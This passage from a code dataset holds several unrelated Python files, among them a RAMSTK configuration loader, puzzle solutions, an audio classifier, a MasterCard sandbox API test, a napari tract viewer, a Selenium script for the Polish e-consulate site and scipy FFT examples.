_record.get_attributes()\n\n\ndef _do_load_severity(site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load the RAMSTK_SEVERITY variable.\n\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKCategory).\\\n filter(RAMSTKCategory.category_type == 'risk').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_SEVERITY[_record.category_id] = (\n _attributes['name'], _attributes['description'],\n _attributes['category_type'], _attributes['value'])\n\n\ndef _do_load_user_workgroups(\n site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load the RAMSTK_USERS and RAMSTK_WORKGROUPS variables.\n\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :return: None\n :rtype: None\n \"\"\"\n for _record in site_db.session.query(RAMSTKUser).all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_USERS[_record.user_id] = (\n _attributes['user_lname'],\n _attributes['user_fname'],\n _attributes['user_email'],\n _attributes['user_phone'],\n _attributes['user_group_id'],\n )\n for _record in site_db.session.query(RAMSTKGroup).\\\n filter(RAMSTKGroup.group_type == 'workgroup').all():\n _attributes = _record.get_attributes()\n user_configuration.RAMSTK_WORKGROUPS[_record.group_id] = (\n _attributes['description'],\n _attributes['group_type'],\n )\n\n\ndef do_load_variables(site_db: BaseDatabase,\n user_configuration: RAMSTKUserConfiguration) -> None:\n \"\"\"Load the RAMSTKUserConfiguration global variables from the site db.\n\n :param site_db: the RAMSTK Site Database to read the values of the\n global variables.\n :param user_configuration: the RAMSTKUserConfiguration instance whose\n variable is to be loaded.\n :return: None\n :rtype: None\n \"\"\"\n pub.sendMessage('do_log_info_msg',\n logger_name='INFO',\n message=\"Loading global RAMSTK configuration variables.\")\n\n _do_load_action_variables(site_db, user_configuration)\n _do_load_hardware_variables(site_db, user_configuration)\n _do_load_incident_variables(site_db, user_configuration)\n _do_load_miscellaneous_variables(site_db, user_configuration)\n _do_load_pof_variables(site_db, user_configuration)\n _do_load_requirement_variables(site_db, user_configuration)\n _do_load_rpn_variables(site_db, user_configuration)\n _do_load_severity(site_db, user_configuration)\n _do_load_user_workgroups(site_db, user_configuration)\n\n pub.sendMessage('do_log_info_msg',\n logger_name='INFO',\n message=\"Loaded global RAMSTK configuration variables.\")\n","sub_path":"src/ramstk/db/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":57684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"118835158","text":"from math import ceil\nfrom sys import argv\n\n\ndef user_groups(text):\n u, f, g = text.strip().split(':')\n users[u] = dict(friends=set(), groups=set())\n\n for friend in f.split(','): # add friends\n users[u]['friends'].add(friend)\n\n for group in g.split(','):\n if group: # if group isn't blank string ''\n if group not in groups:\n groups[group] = set()\n if group not in users[u]['groups']:\n users[u]['groups'].add(group) # add group to users dict\n groups[group].add(u) # add user to groups dictionary\n else: # if user isn't in any groups\n if 'NO_GROUP' not in groups:\n groups['NO_GROUP'] = set()\n groups['NO_GROUP'].add(u)\n\nusers, groups = dict(), dict()\nwith open(argv[1], 'r') as file:\n [user_groups(line) for line in file]\n\nfor user in sorted(users):\n friends = users[user]['friends']\n half = ceil(len(friends) / 2) # half way point, round up if odd number\n if 'NO_GROUP' in groups:\n friends -= groups['NO_GROUP'] # remove users that aren't in groups\n suggested = list()\n\n for group in groups:\n if not group == 'NO_GROUP' and \\\n len(groups[group] & friends) >= half and \\\n group not in users[user]['groups']:\n suggested.append(group)\n\n if suggested: # not empty\n suggested.sort()\n print(':'.join((user, ','.join(suggested))))\n","sub_path":"Moderate/suggested_groups.py","file_name":"suggested_groups.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"285497156","text":"from collections import defaultdict\nimport intcode\nwith open('input') as f:\n lines = [x.strip() for x in f]\ncsv = [x.split(',') for x in lines]\nprog=[int(x) for x in csv[0]]\n\ndef do_turtle_artist(init):\n visited = defaultdict(int)\n visited[(0,0)] = init\n x = 0; y = 0; facing = 0\n turn = {0:(0,-1), 1:(1,0), 2:(0,1), 3:(-1,0)}\n m = intcode.machine(prog)\n while True:\n m.put(visited[(x,y)])\n m.run()\n if m.halted: break\n p = m.get()\n d = m.get()\n visited[(x,y)] = p\n if d == 0: facing = (facing + 3) % 4\n if d == 1: facing = (facing + 1) % 4\n x += turn[facing][0]\n y += turn[facing][1]\n return visited\n\nv = do_turtle_artist(0)\nprint(len(v))\n\nv = do_turtle_artist(1)\nminy = min(x[1] for x in v)\nmaxy = max(x[1] for x in v)\nminx = min(x[0] for x in v)\nmaxx = max(x[0] for x in v)\nmsg=''\nfor y in range(miny,maxy+1):\n for x in range(minx,maxx+1):\n msg += '*' if v[(x,y)] == 1 else ' '\n msg += '\\n'\nprint(msg)\n","sub_path":"day11/day11-tidy.py","file_name":"day11-tidy.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"534525450","text":"import os\r\nimport librosa\r\nimport numpy as np\r\nfrom pydub import AudioSegment\r\nfrom tensorflow.keras.models import load_model\r\n\r\nmodel = load_model('models\\\\1575619662_1015356_92\\\\model_model.h5')\r\nprint('[INFO] Model Loaded...')\r\n\r\nwhile True:\r\n try:\r\n filename = input('\\nEnter filename of audio along with extension >>> ')\r\n original_path = os.path.join('Test Calls', filename)\r\n wav_name = filename.split('.')[0] + '_wav' + '.wav'\r\n wav_path = os.path.join('Test Calls', wav_name)\r\n sound = AudioSegment.from_file(original_path)\r\n sound = sound.set_channels(1)\r\n sound.export(wav_path, format='wav')\r\n\r\n clip, _ = librosa.load(wav_path, sr=None)\r\n stft = np.abs(librosa.stft(clip, n_fft=512, hop_length=256, win_length=512))\r\n features = np.mean(stft, axis=1)\r\n feature = np.array([features])\r\n\r\n print('[INFO] Data Preprocessed...')\r\n\r\n pred = model.predict(feature)\r\n pred_classes = model.predict_classes(feature)[0]\r\n\r\n print(f'[INFO] Probability: {pred}')\r\n\r\n if pred_classes == 0:\r\n value = 'Blue Rock Pigeon'\r\n\r\n elif pred_classes == 1:\r\n value = 'Common Tailorbird'\r\n\r\n elif pred_classes == 2:\r\n value = 'Purple Sunbird'\r\n\r\n print(f'[INFO] Predicted to be \"{value}\"')\r\n\r\n ui = input('\\nPress ENTER to continue, \"q\" to quit: ')\r\n if ui == 'q':\r\n print('Exiting...')\r\n break\r\n\r\n except Exception as e:\r\n print(f'\\n[ERROR]: {str(e)}')\r\n","sub_path":"Bird_call/user_input.py","file_name":"user_input.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"367039971","text":"#\n# Copyright (c) 2016 MasterCard International Incorporated\n# All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without modification, are\n# permitted provided that the following conditions are met:\n#\n# Redistributions of source code must retain the above copyright notice, this list of\n# conditions and the following disclaimer.\n# Redistributions in binary form must reproduce the above copyright notice, this list of\n# conditions and the following disclaimer in the documentation and/or other materials\n# provided with the distribution.\n# Neither the name of the MasterCard International Incorporated nor the names of its\n# contributors may be used to endorse or promote products derived from this software\n# without specific prior written permission.\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n# EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n# OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT\n# SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n# INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED\n# TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;\n# OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER\n# IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING\n# IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n# SUCH DAMAGE.\n#\nimport unittest\nfrom mastercardapicore import Config\nfrom mastercardapicore import RequestMap\nfrom accountinquiry import AccountInquiry\nfrom base_test import BaseTest\nfrom mastercardapicore import OAuthAuthentication\nfrom os.path import dirname, realpath, join\nfrom nose.tools import nottest\n\nclass AccountInquiryTest(BaseTest):\n\n\n def setUp(self):\n keyFile = join(dirname(dirname(realpath(__file__))),\"resources\",\"mcapi_sandbox_key.p12\")\n auth = OAuthAuthentication(\"L5BsiPgaF-O3qA36znUATgQXwJB6MRoMSdhjd7wt50c97279!50596e52466e3966546d434b7354584c4975693238513d3d\", keyFile, \"test\", \"password\")\n Config.setAuthentication(auth)\n Config.setDebug(False)\n\n\n def tearDown(self):\n Config.setProxy(None)\n\n @nottest\n def test_account_inquiry(self):\n\n mapObj = RequestMap()\n mapObj.set(\"AccountInquiry.AccountNumber\",\"5343434343434343\")\n\n response = AccountInquiry.update(mapObj)\n \n ignoreAsserts = []\n \n self.customAssertEqual(ignoreAsserts, \"Listed\", response.get(\"Account.Listed\"),\"True\")\n self.customAssertEqual(ignoreAsserts, \"Listed\", response.get(\"Account.ReasonCode\"),\"S\")\n self.customAssertEqual(ignoreAsserts, \"Listed\", response.get(\"Account.Reason\"),\"STOLEN\")\n\n # def test_account_inquiry_with_proxy(self):\n\n # Config.setProxy({'http': 'http://127.0.0.1:9999', 'https': 'http://127.0.0.1:9999'})\n\n # mapObj = RequestMap()\n # mapObj.set(\"AccountInquiry.AccountNumber\",\"5343434343434343\")\n\n # response = AccountInquiry.update(mapObj)\n \n # ignoreAsserts = []\n \n # self.customAssertEqual(ignoreAsserts, \"Listed\", response.get(\"Account.Listed\"),\"True\")\n # self.customAssertEqual(ignoreAsserts, \"Listed\", response.get(\"Account.ReasonCode\"),\"S\")\n # self.customAssertEqual(ignoreAsserts, \"Listed\", response.get(\"Account.Reason\"),\"STOLEN\")\n \n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/api/test_accountinquiry.py","file_name":"test_accountinquiry.py","file_ext":"py","file_size_in_byte":3542,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"266841388","text":"import argparse\n\nimport napari\nimport pathlib\nimport numpy as np\n\nfrom PySide2.QtWidgets import QApplication\nfrom brainio import brainio\nfrom glob import glob\n\nfrom neuro.visualise.brainrender_tools import (\n volume_to_vector_array_to_obj_file,\n)\nfrom neuro.segmentation.lesion_and_track_tools.lesion_and_track_estimation import (\n get_fiber_track,\n)\nfrom neuro.generic_neuro_tools import (\n transform_background_channel_to_standard_space,\n)\nfrom neuro.visualise.napari_tools.layers import display_channel\n\n\ndef run_track_viewer(\n reg_dir,\n atlas_name=\"annotations.nii\",\n background_channel_name=\"registered_downsampled.nii\",\n output_name=\"registered_track_{}.nii\",\n):\n reg_dir = pathlib.Path(reg_dir)\n print(\"Starting amap viewer\")\n\n with napari.gui_qt():\n v = napari.Viewer(title=\"track viewer\")\n display_channel(v, reg_dir, background_channel_name)\n points_layer = v.add_points()\n\n @v.bind_key(\"b\")\n def conv_to_b(v):\n selected_points = v.layers[-1].selected_data\n if len(selected_points) == 1:\n print(f\"labeled point at {v.layers[-1].data}\")\n z = int(v.layers[-1].data[0][0])\n y = int(v.layers[-1].data[0][1])\n x = int(v.layers[-1].data[0][2])\n seed_point = (x, y, z)\n seed_point_str = f\"{x}_{y}_{z}\"\n print(f\"{seed_point} extracted, getting fiber track from this\")\n get_fiber_track(\n reg_dir / atlas_name,\n reg_dir / background_channel_name,\n seed_point,\n reg_dir / output_name.format(seed_point_str),\n )\n print(\"closing application...\")\n QApplication.closeAllWindows()\n\n @v.bind_key(\"q\")\n def quit(v):\n QApplication.closeAllWindows()\n\n\ndef load_arrays(images, names):\n with napari.gui_qt():\n v = napari.Viewer(title=\"track viewer\")\n for image, name in zip(images, names):\n image = np.swapaxes(image, 2, 0)\n v.add_image(image, name=name)\n\n\ndef get_fiber_tract_in_standard_space(reg_dir):\n transform_background_channel_to_standard_space(reg_dir)\n run_track_viewer(reg_dir)\n reg_dir = pathlib.Path(reg_dir)\n\n segmented_files = glob(str(reg_dir) + \"/registered_track*.nii\")\n\n for segmented_file in segmented_files:\n brain = brainio.load_any(segmented_file)\n volume_to_vector_array_to_obj_file(\n brain, segmented_file.replace(\".nii\", \".obj\")\n )\n\n\ndef get_parser():\n parser = argparse.ArgumentParser(\n formatter_class=argparse.ArgumentDefaultsHelpFormatter\n )\n parser.add_argument(\n dest=\"registration_directory\",\n type=str,\n help=\"amap/cellfinder registration output directory\",\n )\n return parser\n\n\ndef main():\n args = get_parser().parse_args()\n get_fiber_tract_in_standard_space(args.registration_directory)\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"neuro/segmentation/lesion_and_track_tools/fiber_tract_viewer.py","file_name":"fiber_tract_viewer.py","file_ext":"py","file_size_in_byte":3038,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"386190180","text":"import selenium\nimport selenium.webdriver as webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.common.exceptions import NoSuchElementException\nimport time\n\nprint(\"FunkyShirt\\n\")\n\nsleep_duration = 0.5\n\ndriver = webdriver.Chrome()\ndriver.get(\"https://secure2.e-konsulat.gov.pl\")\n\ntime.sleep(sleep_duration)\n# first page\n\n# now we have to find to selectors.. to enter country\n# and to enter place inside this country\nkraj_id = \"tresc_cbListaKrajow\"\ntry:\n country_list = driver.find_element_by_id(kraj_id);\nexcept NoSuchElementException:\n print(\"kraj_id is not found\")\n\n\n# Now we have select country.. in our case it will be\n# INDIA\nall_options = country_list.find_elements_by_tag_name(\"option\")\nfor option in all_options:\n print(\"Value is: %s, text: %s \" % (option.get_attribute(\"value\"), option.text))\n # Click two time to invoke onChange event\n if(option.text == \"INDIE\"):\n option.click()\n break\n\n\n\n# After that we should select place inside country, but before we proceed \n# we should wait for a moment to options get updated.\ntime.sleep(4*sleep_duration) # pause for 2 seconds\n\n# find selector of places\nplace_id = \"tresc_cbListaPlacowek\"\ntry:\n place_list = driver.find_element_by_id(place_id);\nexcept NoSuchElementException:\n print(\"place_id is not found\")\n\n# find all options\nall_options = place_list.find_elements_by_tag_name(\"option\")\n\n# and if place_list is still empty loop until they will not, at least n'th times\nn = 5\nwhile len(all_options) == 0 and n > 0:\n time.sleep(sleep_duration) # pause for 2 seconds\n all_options = place_list.find_elements_by_tag_name(\"option\")\n n = n - 1\n\nfor option in all_options:\n print(\"Value is: %s, text: %s \" % (option.get_attribute(\"value\"), option.text))\n if(option.text == \"New Delhi\"):\n option.click()\n\n\n\n\n\ntime.sleep(10)\nall_hyperlinks = driver.find_elements_by_tag_name(\"a\")\nfor hyperlink in all_hyperlinks:\n print(\"text: %s \" % hyperlink.text)\n if(hyperlink.text == \"Wiza krajowa - Zarejestruj formularz\"):\n hyperlink.click()\n break\n\n\ntime.sleep(100)\n\ndriver.close()\ndriver.quit()\n","sub_path":"FunkyShirt/FunkyShirt.py","file_name":"FunkyShirt.py","file_ext":"py","file_size_in_byte":2169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"366741312","text":"import tkinter\nfrom tkinter import ttk\n\nimport mqtt_remote_method_calls as com\n\n\n\n#Defining functions used by buttons\ndef start(mqtt_client):\n mqtt_client.send_message('following', [])\n\ndef add_forward(mqtt_client):\n print('reached')\n mqtt_client.send_message('add_to_list',['forward'])\n\ndef add_left(mqtt_client):\n mqtt_client.send_message('add_to_list', ['left'])\n\n\ndef add_right(mqtt_client):\n mqtt_client.send_message('add_to_list', ['right'])\n\ndef print_list(mqtt_client):\n mqtt_client.send_message('printing_list', [])\n\ndef quit_program(mqtt_client, shutdown_ev3):\n if shutdown_ev3:\n print(\"shutdown\")\n mqtt_client.send_message(\"shutdown\")\n mqtt_client.close()\n exit()\n\ndef main():\n mqtt_client = com.MqttClient()\n mqtt_client.connect_to_ev3()\n\n root = tkinter.Tk()\n root.title(\"MQTT Remote\")\n\n main_frame = ttk.Frame(root, padding=20, relief='raised')\n main_frame.grid()\n\n left_speed_label = ttk.Label(main_frame, text=\"Left\")\n left_speed_label.grid(row=0, column=0)\n left_speed_entry = ttk.Entry(main_frame, width=8)\n left_speed_entry.insert(0, \"600\")\n left_speed_entry.grid(row=1, column=0)\n\n right_speed_label = ttk.Label(main_frame, text=\"Right\")\n right_speed_label.grid(row=0, column=2)\n right_speed_entry = ttk.Entry(main_frame, width=8, justify=tkinter.RIGHT)\n right_speed_entry.insert(0, \"600\")\n right_speed_entry.grid(row=1, column=2)\n\n #Directions\n forward_button = ttk.Button(main_frame, text=\"Forward\")\n forward_button.grid(row=2, column=1)\n # forward_button and '<Up>' key is done for your here...\n forward_button['command'] = lambda: add_forward(mqtt_client)\n root.bind('<Up>', lambda event: add_forward(mqtt_client))\n\n left_button = ttk.Button(main_frame, text=\"Left\")\n left_button.grid(row=3, column=0)\n left_button['command'] = lambda: add_left(mqtt_client)\n root.bind('<Left>', lambda event: add_left(mqtt_client))\n # left_button and '<Left>' key\n\n right_button = ttk.Button(main_frame, text=\"Right\")\n right_button.grid(row=3, column=2)\n right_button['command'] = lambda: add_right(mqtt_client)\n root.bind('<Right>', lambda event: add_right(mqtt_client))\n # right_button and '<Right>' key\n\n print_button = ttk.Button(main_frame, text=\"Print List\")\n print_button.grid(row=4, column=1)\n print_button['command'] = lambda: print_list(mqtt_client)\n root.bind('<p>', lambda event: print_list(mqtt_client))\n\n start_button = ttk.Button(main_frame, text=\"Start\")\n start_button.grid(row=3, column=1)\n start_button['command'] = lambda: start(mqtt_client)\n root.bind('<space>', lambda event: start(mqtt_client))\n\n\n #QUIT AND EXIT\n q_button = ttk.Button(main_frame, text=\"Quit\")\n q_button.grid(row=6, column=0)\n q_button['command'] = (lambda: quit_program(mqtt_client, False))\n\n e_button = ttk.Button(main_frame, text=\"Exit\")\n e_button.grid(row=6, column=2)\n e_button['command'] = (lambda: quit_program(mqtt_client, True))\n\n root.mainloop()\n\n\nmain()","sub_path":"projects/Pruemebr/ev3.robot.py","file_name":"ev3.robot.py","file_ext":"py","file_size_in_byte":3046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"366256365","text":"import pickle\n\n# Load mode dari file\nfilename = \"trained-model-bus10-16-naivebayes.pkl\"\nwith open(filename, 'rb') as file:\n model = pickle.load(file)\n\n#contoh default data\ndefault = [[ 0.087, 0.030, 0.024, 10.756 ]]\nprint(\"contoh data default\")\nprint(default)\n\n#baca input\nx1 = input(\"Enter x1: \")\nx2 = input(\"Enter x2: \")\nx3 = input(\"Enter x3: \")\nx4 = input(\"Enter x4: \")\n\nXuji = [[ float(x1), float(x2), float(x3), float(x4) ]]\n\n#prediksi dari model\nprint(model.predict(Xuji))","sub_path":"Program/Program bus10-16/prediksi.py","file_name":"prediksi.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"293437650","text":"from scipy.fftpack import fft, ifft\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n# example 1\n###########\nx = np.array([1.0, 2.0, 1.0, -1.0, 1.5])\n\ny = fft(x); print(y)\nyinv = ifft(y); print(yinv)\n\n\n# example 2\n###########\nN = 1000\nT = 1.0/N\nx = np.linspace(0.0, N*T, N)\ny = 1.0*np.sin(50.0 * 2.0 * np.pi * x) + 0.5*np.sin(80.0 * 2.0 * np.pi * x)\nyf = fft(y)\n\nxf = np.linspace(0.0, 1.0/(2.0*T), N//2)\nplt.plot(xf, 2.0/N * np.abs(yf[0:N//2]))\nplt.grid()\nplt.show()\n\n\n","sub_path":"scipy/fftpack.py","file_name":"fftpack.py","file_ext":"py","file_size_in_byte":472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"}